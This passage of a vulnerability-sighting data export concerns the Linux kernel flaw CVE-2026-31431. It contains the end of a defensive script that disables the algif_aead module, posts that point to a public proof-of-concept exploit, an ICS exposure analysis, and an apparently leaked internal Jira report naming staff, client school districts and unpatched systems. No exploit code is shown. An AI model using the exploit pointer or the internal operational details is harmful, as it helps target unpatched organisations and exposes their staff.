$GRUB_MKCFG -o \"$GRUB_CFG\"\n                echo \"[+] GRUB updated \u2014 reboot required to apply\"\n                echo \"    After reboot, verify with: cat /proc/cmdline | grep initcall_blacklist\"\n            fi\n        fi\n        ;;\n\n    NOT_FOUND)\n        echo \"[-] Kernel config not found.\" >&2\n        echo \"    Try: grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$KERNEL\" >&2\n        exit 1\n        ;;\n\n    *)\n        echo \"[-] Unexpected config value: $CONFIG_VAL\" >&2\n        exit 1\n        ;;\nesac\n\n# ---------------------------------------------------------------------------\n# Verification\n# ---------------------------------------------------------------------------\necho \"\"\necho \"[+] Done.\"\n\ncase \"$CONFIG_VAL\" in\n    CONFIG_CRYPTO_USER_API_AEAD=m)\n        if lsmod | grep -q \"^algif_aead\"; then\n            echo \"[!] WARNING: algif_aead is still loaded \u2014 unload failed.\"\n        else\n            echo \"[+] algif_aead is NOT loaded. Workaround active immediately.\"\n        fi\n        ;;\n    CONFIG_CRYPTO_USER_API_AEAD=y)\n        echo \"[*] Built-in module \u2014 workaround takes effect after reboot.\"\n        echo \"    Post-reboot check: cat /proc/cmdline | grep initcall_blacklist\"\n        ;;\nesac", "creation_timestamp": "2026-05-05T12:01:42.000000Z"}, {"uuid": "d3d42c43-dcd4-4b15-97b9-ff9fbf82e0fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/nadsec.online/post/3ml46kgtazk2d", "content": "Presenting, for absolutely no reason at all, CVE-2026-31431 as a 587-byte x86_64 static ELF:\ngithub.com/Rat5ak/CVE-2...", "creation_timestamp": "2026-05-05T12:24:28.936091Z"}, {"uuid": "65c9b4b6-ec69-4a55-a6bc-93b601a36bb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/qLtl-ESgxngd0KdCJZLq4iZUn677J7G_lqnf1Nr9VcS_CEGq", "content": "", "creation_timestamp": "2026-05-05T11:26:46.000000Z"}, {"uuid": "5e7f64c5-b9f8-4e62-91c3-37e08ad4cd40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://infosec.exchange/users/AdvisoryICS/statuses/116522501138000759", "content": "ICSAP Analysis Report | ICSAP-AN-26-001 - Read full report at : https://drive.google.com/file/d/1v5RWBFT0cHFUDkUhM0enwh3t1PdOGVcv/view\nReading Between the Advisories: Linux Kernel CVE-2026-31431 in the ICS Ecosystem\nCVE-2026-31431 (\"Copy Fail\") was added to CISA's KEV Catalog on May 1. Theori's Xint Code research team disclosed it on April 29. It's a 9-year-old logic flaw in the Linux kernel's algif_aead module that lets any unprivileged local user escalate to root using a 732-byte Python script. The same exploit works on Ubuntu, Amazon Linux, RHEL, and SUSE without modification.\nThe mainstream security community has covered this well. What hasn't been written is the ICS angle.\nWe reviewed both the CISA ICS Advisory dataset (3,800 advisories since 2010) and the ICS[AP] Other CERT and Vendor ICS Advisories dataset (12,468 advisories) to see which industrial control system products have documented Linux exposure to this CVE.\nThree observations:\nOnly 0.8% of CISA ICS advisories have ever explicitly mentioned Linux, the kernel, or embedded Linux components. Across 3,800 advisories, only two disclose a specific kernel version, and both are end-of-life branches.\nSchneider Electric (234 CISA advisories, zero Linux mentions), Rockwell Automation (246, zero), Mitsubishi Electric (119, zero), Hitachi Energy (103, zero), and Moxa (53, zero) have published nothing about Linux in their CISA advisory text, despite shipping Linux-based product lines per their own technical documentation.\nContainer escape applies. CODESYS Control containers, Advantech IoTSuite Edge dockers, Bosch Rexroth ctrlX CORE container apps, and similar containerized industrial edge platforms are subject to the container-breakout behavior identified in Microsoft Defender's published analysis.\nAsset owners cannot rely on advisory text to assess exposure. Direct vendor PSIRT engagement is the only defensible path. As of publication, no major ICS vendor has published a CVE-2026-31431-specific advisory.\nICSAP-AN-26-001 is the inaugural ICSAP Analysis Report. It covers the CVE technical mechanism with primary-source attribution to Theori, a Tier 1A list of 16 ICS product lines with documented Linux exposure, a Tier 2 list of 14 vendors whose Linux products do not surface in advisory text, and practitioner guidance for the next four to six weeks.\nRead the full report at icsadvisoryproject.com.\n#ICS #OTSecurity #CriticalInfrastructure #LinuxKernel #CopyFail #VulnerabilityManagement", "creation_timestamp": "2026-05-05T14:44:29.825760Z"}, {"uuid": "42ca6181-95ab-4113-92a5-39a8313ea1c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/advisoryics.bsky.social/post/3ml4gr4dibs2h", "content": "CVE-2026-31431 ('Copy Fail') added to CISA KEV May 1. Theori's Xint Code disclosed this 9-year-old Linux kernel LPE on 4/29.\n\nWe reviewed 3,800 CISA ICS + 12,468 vendor advisories for ICS Linux exposure.\n\nICSAP-AN-26-001: www.icsadvisoryproject.com/ics-advisory...\n\n#ICS #OTSecurity #CopyFail", "creation_timestamp": "2026-05-05T14:51:24.220529Z"}, {"uuid": "973bd5de-31e9-4068-bd42-77487f39919b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3ml4jro6tix2d", "content": "Linux kernel flaw CVE-2026-31431 exploited for root access; MOVEit CVE-2026-4670 enables remote breaches; DigiCert revokes 60 certificates after Zhong Stealer exposure; Pentagon advances AI security partnerships. #LinuxSecurity #DataCenter #USA", "creation_timestamp": "2026-05-05T15:45:21.277675Z"}, {"uuid": "9bfcebfb-28cb-41c8-a422-420c19e259f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/picalily.bsky.social/post/3ml4hlv3qls2p", "content": "Does that have the CVE-2026-31431 vulnerability and how easy is the patch?", "creation_timestamp": "2026-05-05T15:06:24.642651Z"}, {"uuid": "e41637fd-a994-40db-96c7-fdf669287f6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/ef-edulog/a5ee4122335571c44ee1ffb6cbb97b4a", "content": "\n\n\n\n\nJira Report \u2014 DO / IM / S2\n\n  :root {\n    --bg: #fff; --bg2: #f5f4ef; --bg3: #ebebeb;\n    --tx: #1a1a1a; --tx2: #666660; --tx3: #999994;\n    --info: #185FA5; --bdr: rgba(0,0,0,0.12); --bdr2: rgba(0,0,0,0.22);\n    --r: 8px; --rl: 12px;\n    --font: -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif;\n    --mono: 'SF Mono','Fira Code',monospace;\n  }\n  @media(prefers-color-scheme:dark){\n    :root{--bg:#1e1e1c;--bg2:#2a2a28;--bg3:#333330;--tx:#f0efe8;--tx2:#a8a79f;--tx3:#6e6e68;--info:#85B7EB;--bdr:rgba(255,255,255,0.1);--bdr2:rgba(255,255,255,0.18)}\n  }\n  *{box-sizing:border-box;margin:0;padding:0}\n  body{font-family:var(--font);background:var(--bg);color:var(--tx);padding:24px;max-width:1300px;margin:0 auto}\n  h1{font-size:18px;font-weight:500;margin-bottom:4px}\n  .sub{font-size:12px;color:var(--tx2);margin-bottom:20px}\n  .tabs{display:flex;gap:6px;margin-bottom:1.25rem;flex-wrap:wrap}\n  .tab{padding:5px 13px;border:0.5px solid var(--bdr2);border-radius:var(--r);font-size:13px;cursor:pointer;background:var(--bg);color:var(--tx2)}\n  .tab.active{background:var(--bg2);color:var(--tx);font-weight:500}\n  .tab:hover:not(.active){background:var(--bg2)}\n  .legend{display:flex;gap:14px;flex-wrap:wrap;margin-bottom:1rem;font-size:11px;color:var(--tx2);align-items:center}\n  .li{display:flex;align-items:center;gap:4px}\n  .ld{width:9px;height:9px;border-radius:2px}\n  .summary-grid{display:grid;grid-template-columns:repeat(3,minmax(0,1fr));gap:8px;margin-bottom:1.25rem}\n  .metric{background:var(--bg2);border-radius:var(--r);padding:10px 12px}\n  .ml{font-size:11px;color:var(--tx2);margin-bottom:3px}\n  .mv{font-size:20px;font-weight:500}\n  .project-block{margin-bottom:1.1rem;border:0.5px solid var(--bdr);border-radius:var(--rl);overflow:hidden}\n  .ph{padding:9px 14px;border-bottom:0.5px solid var(--bdr);display:flex;align-items:center;justify-content:space-between}\n  .pn{font-size:13px;font-weight:500}\n  .pm{font-size:11px;color:var(--tx2)}\n  .th{padding:5px 14px;font-size:11px;font-weight:500;color:var(--tx2);background:var(--bg2);display:flex;align-items:center;gap:6px;border-top:0.5px solid var(--bdr)}\n  .tc{background:var(--bg3);color:var(--tx2);padding:1px 6px;border-radius:var(--r);font-size:10px}\n  .cols{display:grid;grid-template-columns:80px 1fr 86px 82px 82px 80px 98px;gap:4px;padding:4px 14px;font-size:10px;color:var(--tx3);background:var(--bg2);border-top:0.5px solid var(--bdr)}\n  .ir{display:grid;grid-template-columns:80px 1fr 86px 82px 82px 80px 98px;gap:4px;padding:6px 14px;align-items:start;border-top:0.5px solid var(--bdr);font-size:11px}\n  .ir.stale{background:rgba(250,238,218,0.3)}\n  .ir.highest{background:rgba(252,235,235,0.35)}\n  .ir.overdue{background:rgba(252,235,235,0.45)}\n  .ir.stale.highest,.ir.stale.overdue{background:rgba(250,220,200,0.45)}\n  @media(prefers-color-scheme:dark){\n    .ir.stale{background:rgba(99,56,6,0.2)}.ir.highest{background:rgba(121,31,31,0.2)}\n    .ir.overdue{background:rgba(121,31,31,0.3)}.ir.stale.highest,.ir.stale.overdue{background:rgba(110,40,6,0.28)}\n  }\n  .ik{color:var(--info);font-size:10px;font-family:var(--mono);white-space:nowrap;text-decoration:none}\n  .ik:hover{text-decoration:underline}\n  .is{color:var(--tx);line-height:1.4;overflow:hidden;display:-webkit-box;-webkit-line-clamp:2;-webkit-box-orient:vertical}\n  .ia{color:var(--tx2);font-size:10px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}\n  .dt{font-size:10px;white-space:nowrap}\n  .upd-ok{color:var(--tx2)}.upd-stale{color:#BA7517;font-weight:500}\n  .due-ok{color:var(--tx2)}.due-over{color:#A32D2D;font-weight:500}\n  .cr{color:var(--tx2)}\n  @media(prefers-color-scheme:dark){.upd-stale{color:#FAC775}.due-over{color:#F7C1C1}}\n  .dot-h{display:inline-block;width:5px;height:5px;border-radius:50%;background:#E24B4A;margin-right:2px;vertical-align:middle}\n  .dot-s{display:inline-block;width:5px;height:5px;border-radius:50%;background:#EF9F27;margin-right:2px;vertical-align:middle}\n  .dot-d{display:inline-block;width:5px;height:5px;border-radius:50%;background:#D85A30;margin-right:2px;vertical-align:middle}\n  .sb{font-size:10px;padding:2px 6px;border-radius:var(--r);text-align:center;white-space:nowrap}\n  .s-ip{background:#FAEEDA;color:#854F0B}.s-td{background:#E1F5EE;color:#0F6E56}\n  .s-oi{background:#FCEBEB;color:#A32D2D}.s-xx{background:var(--bg2);color:var(--tx2)}\n  @media(prefers-color-scheme:dark){\n    .s-ip{background:#633806;color:#FAC775}.s-td{background:#085041;color:#9FE1CB}.s-oi{background:#791F1F;color:#F7C1C1}\n  }\n  .empty{padding:16px;text-align:center;color:var(--tx3);font-size:12px}\n  .footer{font-size:11px;color:var(--tx3);margin-top:24px}\n\n\n\n\nJira Active Issues Report \u2014 DO / IM / S2\n\nGenerated May 05, 2026 at 06:32 PM  \u00b7  Excludes Done, Fixed, Canceled, Deferred  \u00b7  https://karrostech.atlassian.net\n\nLast 24 hrs24\u201348 hrs ago2\u20137 days agoOlder than 7 days\n\n\n  Highest priority\n  Stale \u22655 business days\n  Due date missed\n\n\n\n\n\nDO \u2014 Edulog DevOps\n6\n\nIM \u2014 Incident Management\n2\n\nS2 \u2014 Soc-2 & Security\n0\n            \n\n              \n\n                DO \u2014 Edulog DevOps\n                6 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nBug 1\n                    \n\n                      DO-2044\n                      East Allen, IN - RDS Absence codes not saving\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Backlog\n                    \nTask 5\n                    \n\n                      DO-2046\n                      Alamance, NC - Please turn on User Defined Reports\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2043\n                      SharedServices, ON - Student Import module broken\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2042\n                      Client Cancelation for Kuna Joint School District, ID\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2041\n                      Remove the test server - fr-routing-legacy-test  it is no longer needed.\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2040\n                      Remove queuedNotification lambda function when associated NotificationService changes are deployed\n                      \u2014\n                      May 4, '26\n                      May 4, '26\n                      \u2014\n                      Backlog\n                    \n            \n\n              \n\n                IM \u2014 Incident Management\n                2 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nStory 2\n                    \n\n                      IM-7571\n                      Cleveland, OH - Client Reported Delays in Both Telematics and with Parent Portal Messages this Morning\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7569\n                      Zonar - Delay / Omission of pings to SM, PP\n                      Nick Sundberg\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Open Issue\n                    \n\n\n\nDO \u2014 Edulog DevOps\n4\n\nIM \u2014 Incident Management\n0\n\nS2 \u2014 Soc-2 & Security\n0\n            \n\n              \n\n                DO \u2014 Edulog DevOps\n                4 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nBug 2\n                    \n\n                      DO-2034\n                      DP V2 (build 180/AV1): EDP gateway /v4.0/vehicles/search returns 0 vehicles for development-test-school tenant\n                      \u2014\n                      May 3, '26\n                      May 3, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2033\n                      DP V2 (build 180/AV1): POST /apilive/setting/event/add returns 500 after login (tenantId='', deviceId=0)\n                      \u2014\n                      May 3, '26\n                      May 3, '26\n                      \u2014\n                      Backlog\n                    \nStory 1\n                    \n\n                      DO-2035\n                      Johnston, NC - unable to access Driver Portal web\n                      Brandon Donnelson\n                      May 4, '26\n                      May 5, '26\n                      \u2014\n                      Backlog\n                    \nTask 1\n                    \n\n                      DO-2037\n                      Deploy Hafeez's Data Build Tool\n                      Boluwatife Olaifa\n                      May 4, '26\n                      May 4, '26\n                      May 4, '26\n                      Backlog\n                    \n\n\n\nDO \u2014 Edulog DevOps\n7\n\nIM \u2014 Incident Management\n15\n\nS2 \u2014 Soc-2 & Security\n0\n            \n\n              \n\n                DO \u2014 Edulog DevOps\n                7 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nStory 1\n                    \n\n                      DO-2025\n                      Birdville, TX - Please deploy Telematics\n                      Cory Emlen\n                      Apr 29, '26\n                      Apr 30, '26\n                      \u2014\n                      IN PROGRESS\n                    \nTask 6\n                    \n\n                      DO-2032\n                      Need script run on Cobb to remove duplicate locations\n                      Vader\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-2028\n                      All legacy PP ingestions have not run:\n                      Josiah Brown\n                      May 1, '26\n                      May 4, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2027\n                      Patch infra with CopyFail (CVE-2026-31431)\n                      Josiah Brown\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2026\n                      Johnston NC Demo Site down\n                      Vader\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Verification\n                    \n                    \n\n                      DO-2024\n                      Review all deployments, evaluate setting limits\n                      Josiah Brown\n                      Apr 29, '26\n                      Apr 29, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2023\n                      Testing Release Servers\n                      \u2014\n                      Apr 29, '26\n                      Apr 30, '26\n                      \u2014\n                      Backlog\n                    \n            \n\n              \n\n                IM \u2014 Incident Management\n                15 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nStory 15\n                    \n\n                      IM-7567\n                      Fayette County, no bus event update since 4/29\n                      \u2014\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7564\n                      Knox, TN - Gps units not reporting in since yesterday\n                      \u2014\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7563\n                       West Shore - Parent Portal not working\n                      Brandon Donnelson\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7561\n                      Denton, TX - Parent Portal App is not tracking buses\n                      Brandon Donnelson\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7560\n                      Suffolk, call from parent experiencing tracking issues.\n                      Josiah Brown\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7559\n                      New Kent, parent portal not tracking\n                      Brandon Donnelson\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7557\n                      New Hanover, Parent portal  tracking issues\n                      Brandon Donnelson\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7556\n                      Jefferson, parent portal not tracking \n                      Josiah Brown\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7555\n                      Elyria-OH ,Parent Portal App don't track the bus.\n                      Josiah Brown\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7554\n                      Peoria, AZ - Parent Portal Down\n                      Brandon Donnelson\n                      Apr 30, '26\n                      Apr 30, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7553\n                      Stanfield, AZ's Parent Portal is not working as of this morning.  Last reading 4:16am.  \n                      \u2014\n                      Apr 30, '26\n                      Apr 30, '26\n                      \u2014\n                      Blocker\n                    \n                    \n\n                      IM-7551\n                      SM Can't Send Messages to PP/PPL\n                      Boluwatife Olaifa\n                      Apr 30, '26\n                      Apr 30, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7550\n                      Cleveland, OH - Not able to track buses - GPS tracking down\n                      Kehinde Metibemu\n                      Apr 30, '26\n                      Apr 30, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7548\n                      Cobb County, GA - Severely Degraded Athena Performance\n                      Brandon Donnelson\n                      Apr 29, '26\n                      Apr 30, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7547\n                      Rochambeau, MD - Busses 203/204 have not had movement in Parent Porta Lite since 7:30 PM on 4/27\n                      Josiah Brown\n                      Apr 29, '26\n                      May 4, '26\n                      \u2014\n                      Open Issue\n                    \n\n\n\nDO \u2014 Edulog DevOps\n50\n\nIM \u2014 Incident Management\n0\n\nS2 \u2014 Soc-2 & Security\n0\n            \n\n              \n\n                DO \u2014 Edulog DevOps\n                50 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nATH New site request 1\n                    \n\n                      DO-1787\n                      Elyria, OH - Athena Conversion from Legacy\n                      Cory Emlen\n                      Mar 17, '26\n                      Apr 30, '26\n                      Apr 17, '26\n                      Blocked\n                    \nBug 49\n                    \n\n                      DO-2005\n                      Staging-epic-FR3-eks: Bell Time task creation throws ERROR_LOADING_CONTEXT\n                      Vader\n                      Apr 27, '26\n                      Apr 27, '26 (6d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1905\n                      Parent Portal missing route/vehicle data after EKS 1.34 upgrade \u2014 missed cron sync + Hibernate 6 bug\n                      \u2014\n                      Apr 6, '26\n                      Apr 6, '26 (21d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1855\n                      There is no data available in Route assignment, Live substitution modules of Telematcis for Johnston site\n                      Mide Dickson\n                      Mar 26, '26\n                      Mar 26, '26 (28d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1854\n                      There is no data available in multiple pages like Students, Runs, Routes modules of Routing for Johnston site \n                      Mide Dickson\n                      Mar 26, '26\n                      Mar 26, '26 (28d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1842\n                      EDTA service missing MongoDB JVM args \u2014 broken on 57 production tenants\n                      \u2014\n                      Mar 25, '26\n                      Mar 25, '26 (29d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1801\n                      release-2-fr - Elastic search error displays into log - Unable to search for stop locations\n                      \u2014\n                      Mar 19, '26\n                      Mar 19, '26 (33d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1786\n                      [EastAllen, IN 1.78 Smoke]CA Result CSV \u2013 Export fails for valid dates with 400 Bad Request (invalid page number)\n                      Dane Elwood\n                      Mar 17, '26\n                      Mar 26, '26 (28d)\n                      \u2014\n                      Blocked\n                    \n                    \n\n                      DO-1785\n                      [EastAllen, IN 1.78 Smoke]Vehicles \u2013 Seating Configuration popup shows error \u201cnetwork issues\u201d due to backend API failure\n                      Josiah Brown\n                      Mar 17, '26\n                      Mar 17, '26 (35d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1784\n                      [Lake Superior 1.78 Smoke]Time & Attendance module not opening from main dashboard\n                      Josiah Brown\n                      Mar 17, '26\n                      Mar 17, '26 (35d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1783\n                      Config API is failing for Time & Attendance module in Collinsville site \n                      Josiah Brown\n                      Mar 17, '26\n                      Mar 17, '26 (35d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1782\n                      Several API calls are failed in ultilities --> Employee Import and Queue Priority modules \n                      Josiah Brown\n                      Mar 17, '26\n                      Mar 17, '26 (35d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1779\n                      [Cleveland -1.78] [Time & attendance][Absence Record] Data preview is not available\n                      Josiah Brown\n                      Mar 16, '26\n                      Mar 16, '26 (36d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1776\n                      Routes API CORS Blocked & Gateway Timeout on Routes Management Page\n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 15, '26 (37d)\n                      \u2014\n                      Verification\n                    \n                    \n\n                      DO-1775\n                      [Chicago-1.78] [Telematics --> Edulog standard reports] - Unable to select date range for AM on time report\n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 13, '26 (37d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1768\n                      [moorhead 1.78.0] [Telematics] [Vehicle Plan Error] Front end error for Vehicle on Route Historical view\n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 16, '26 (36d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1767\n                      500 Internal Server Error on Athena Routing Screen \u2013 eligibilities API\n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 23, '26 (31d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1766\n                      [Helena] API call fails on clicking \"Add New\" Student \n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 23, '26 (31d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1765\n                      Deleting a student without entering any data in Add student form is giving 405 error \n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 27, '26 (27d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1761\n                       is displayed against a checkbox on Custom transportation Needs \n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (38d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1760\n                      Pick A Location - External address return as the SA\" is failing because the \"Pick A Location\" button cannot be located on the page, preventing test execution.\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (38d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1759\n                      [Chief Leschi-1.78][Reports] [User defined Reports] Unable to create a new report template\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 31, '26 (25d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1758\n                      API returns 500 error when sending IN filter with empty values array in search request\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (38d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1757\n                      Stops/Checkpoints \u2013 Map not displayed in \u201cPick A Location\u201d popup when using Relocate\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (38d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1756\n                      [Chief Leschi-1.78] Created date is not same when downloaded a report\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 24, '26 (30d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1755\n                      Data Management \u2013 Map fails to load across multiple modules\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (38d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1754\n                      [Chief Leschi-1.78] Created by \"unknown\" appearing with CA Reports\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 24, '26 (30d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1753\n                      Students \u2013 Student picture API returning 404 Not Found when opening student record\n                      Josiah Brown\n                      Mar 12, '26\n                      Apr 6, '26 (21d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1752\n                      Students \u2013 Address parsing APIs (type, prefix, suffix) returning 500 Internal Server Error in background requests\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (38d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1751\n                      Students \u2013 Opening student record triggers \"Error parsing address\" popup and address standardization API returns 500\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (38d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1749\n                      Historical changes API is returning 500 Internal server error on Vehicle on routes in Telamatics\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 17, '26 (35d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1615\n                      Payroll Data is not available/displaying\n                      \u2014\n                      Mar 11, '26\n                      Mar 11, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1614\n                      Data is not Visible for Default Working Hours in Employees under Data Management\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1613\n                      UDF Tab is not Displayed in Employee Information Page\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1611\n                      RPO \u2013 OPT actions failure\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1610\n                      [Chief Leschi-1.78] Created by \"unknown\" appearing with Stops details\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 17, '26 (35d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1608\n                      Location search fails with 504 Gateway Timeout when adding a new Stop\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1606\n                      Student Needs dialogs shows formatting issues and invalid \u201c504\u201d need option\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1594\n                      [Foundations] 404 error on Students detail page\n                      Josiah Brown\n                      Mar 10, '26\n                      Mar 10, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1591\n                      Web Query not configured for aldine-tx\n                      Josiah Brown\n                      Mar 10, '26\n                      Mar 10, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1579\n                      [Support][1.78] [Telematics] -- Error on FE Live Subs\n                      Josiah Brown\n                      Mar 9, '26\n                      Mar 9, '26 (41d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1578\n                      [Support-Site-1.78] 500 internal server error for \"eligibilities\"call\n                      Josiah Brown\n                      Mar 9, '26\n                      Mar 10, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1577\n                      [Training][1.78] [Telematics-Drivers] -- Error on FE for Route Assignment\n                      Josiah Brown\n                      Mar 9, '26\n                      Mar 30, '26 (26d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1575\n                      [Manitouspring][1.78] [Telematics-Drivers] -- Error on FE for Route Assignment\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 9, '26 (41d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1572\n                      [Manitouspring][1.78] Audit Logs: Unknown has been shown for many logs in users column\n                      Josiah Brown\n                      Mar 6, 